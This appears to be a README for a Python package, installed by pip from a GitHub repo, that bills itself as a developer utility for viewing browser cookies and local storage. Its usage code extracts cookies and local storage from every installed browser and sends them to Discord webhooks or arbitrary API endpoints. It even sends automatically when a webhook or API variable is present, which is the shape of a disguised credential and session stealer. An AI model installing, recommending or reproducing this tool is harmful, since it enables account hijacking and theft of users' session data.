A cross-platform developer utility for viewing and exporting browser cookies and local storage data. Works as a standalone script or as an importable Python library.
pip install git+https://github.com/ovrlust/cookie-library.gitThen use it:
from cvlib import CookieViewerfrom cvlib import CookieViewer
viewer = CookieViewer(verbose=True)
# List installed browsers
print(viewer.list_browsers())
# Get cookies from all browsers
cookies = viewer.get_cookies()
# Get local storage from all browsers
ls = viewer.get_local_storage()
# Get everything at once
all_data = viewer.get_all()
# Print formatted report
print(viewer.format_results(all_data))The library auto-detects output destinations from your script's variables:
# Just set any of these variables in your script:
webhook_url = "https://discord.com/api/webhooks/..." # → auto-sends to Discord
output_file = "cookies.txt" # → auto-writes to file
api_url = "https://example.com/api/logs" # → auto-POSTs to API
viewer = CookieViewer()
data = viewer.get_all()
viewer.export(data) # detects and sends to all of the abovefrom cvlib import CookieViewer, FileOutput, DiscordOutput, APIOutput
viewer = CookieViewer(outputs=[
FileOutput("cookies.json", json_mode=True),
DiscordOutput("https://discord.com/api/webhooks/..."),
APIOutput("https://example.com/api/logs", headers={"Authorization": "Bearer ..."}),
])
viewer.export_all() # extract + export in one call| Browser | macOS | Windows | Linux |
|---|---|---|---|
| Chrome | ✅ | ✅ | ✅ |
| Chrome Canary | ✅ | ✅ | — |
| Edge | ✅ | ✅ | ✅ |
| Brave | ✅ | ✅ | ✅ |
| Vivaldi | ✅ | ✅ | ✅ |
| Opera | ✅ | ✅ | — |
| Opera GX | ✅ | ✅ | — |
| Chromium | — | — | ✅ |
python cvlib.pyMIT